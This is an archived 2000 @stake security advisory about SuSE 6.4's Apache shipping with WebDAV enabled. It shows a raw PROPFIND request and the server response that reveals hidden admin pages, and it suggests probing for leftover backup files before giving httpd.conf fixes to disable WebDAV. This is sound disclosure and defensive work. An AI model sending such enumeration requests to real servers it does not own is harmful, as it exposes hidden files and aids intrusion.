@stake Advisory: SuSE Apache WebDAV Directory Listings (A090700-3 )

Type securityvulns
Reporter Securityvulns
Modified 2000-09-08T00:00:00



                           @stake Inc.

                       Security Advisory

Advisory Name: SuSE Apache WebDAV Directory Listings (A090700-3) Release Date: 09/07/2000 Application: Apache 1.3.12 Platform: SuSE Linux 6.4 Severity: Attackers are able to retrieve directory listings Author: mnemonix (dlitchfield@atstake.com) Vendor Status: Vendor has updated Apache package Web: www.atstake.com/research/advisories/2000/a090700-3.txt


WebDAV (Web Distributed Authoring and Versioning) is an extention to the HTTP (Hypertext Transfer Protocol) 1.1 protocol, the protocol that drives the Web, and is discussed in RFC 2518 (ftp://ftp.isi.edu/in-notes/rfc2518.txt). Essentially WebDAV exists to allow users to create, edit and share documents over the Internet or Intranets using the HTTP protocol. To facilitate this new REQUEST METHODS have been added on top of the standard GET, POST and HEAD methods such as PROPFIND, PROPATCH, MKCOL, COPY, DELETE,and PUT. Detailed Description: One of these, PROPFIND is of interest, as far as this particular issue is concerned anyway. PROPFIND exists to allow users to search for certain properties of resources such as the displayname, when last modified etc, etc. The Apache web server as installed by SuSE 6.4 has WebDAV "turned on". By making a request to the web server similar to the following it is possible to gain what amounts to a directory listing:

suse~: # telnet 80 Trying Connected to Escape character is '^]'. PROPFIND / HTTP/1.1 Host: suse Content-Type: text/xml Content-Length: 110

<?xml version="1.0"?> <a:propfind xmlns:a="DAV:"> <a:prop> <a:displayname/> </a:prop> </a:propfind>

HTTP/1.1 207 Multi-Status Date: Sun, 20 Aug 2000 17:38:58 GMT Server: Apache/1.3.12 (Unix) (SuSE/Linux) mod_fastcgi/2.2.2 DAV/0.9.14 mod_perl/1.21 PHP/3.0.15 Transfer-Encoding: chunked Content-Type: text/xml; charset="utf-8"

dc1 <?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/secret/secret/sql_tool.shtml</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/secret/change-passwd.shtml</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/secret/add-user.shmtl</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/secret/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/webalizer/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/test.php3</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/date.php3</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/linbot/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/robots.txt</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/index.html</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/gif/u_arrow.gif</D:href> <D:propstat> <D:prop> </D:prop> .. - ---cut-----

What are the security ramifications of this? As can be seen by looking at the server's response one can see a directory called /secret/secret/ with three files stored there called sql_tool.shtml, add-user.shtml and change-passwd.shtml. These pages exist for administration purposes and there are no links to these pages from the site. To be able to access them a user needs to know of their existence - a poor method of access control - - but one which is quite common. Further to this it would be possible to look for files that may have been left by developers, such as test.shtml or script.cgi.old, which often allow greater access than their production version equivalents or due to a .old or .bak file extention are not executed but access to the source can be gained.


    If you want to leave WebDAV enabled for some directories open

httpd.conf in your text editor of choice, e.g. pico or vi and add the following for each directory you want to enable WebDAV for:

    &lt;Directory /webdav/directory/goes/here&gt;
    #add other directives as needed such as Order allow,deny
            &lt;IfDefine DAV&gt;
                    DAV On

Stop and restart Apache.

If you want to simply turn WebDAV off: Open up httpd.conf and find

    &lt;IfDefine DAV&gt;
    DAV On

and change "On" to "Off". By default there is only one directory with the IfDefine DAV directive, namely "/usr/local/httpd/htdocs". If other directories have been given this directive change these too. Stop and restart Apache.

If you want to Apache to start without the WebDAV module then edit /etc/rc.d/rc3.d/S20apache and place a "#" in front of the line that reads

    test -e /usr/lib/apache/libdav.so &amp;&amp; MODULES=&quot;-D DAV $MODULES&quot;

By doing this when Apache is next started this module will not be included.

Vendor Response:

SuSE have updated their Apache package and more information is available from http://www.suse.de/de/support/security/

For more advisories: http://www.atstake.com/research/index.html PGP Key: http://www.atstake.com/research/pgp_key.asc

Copyright 2000 @stake, Inc. All rights reserved.

-----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8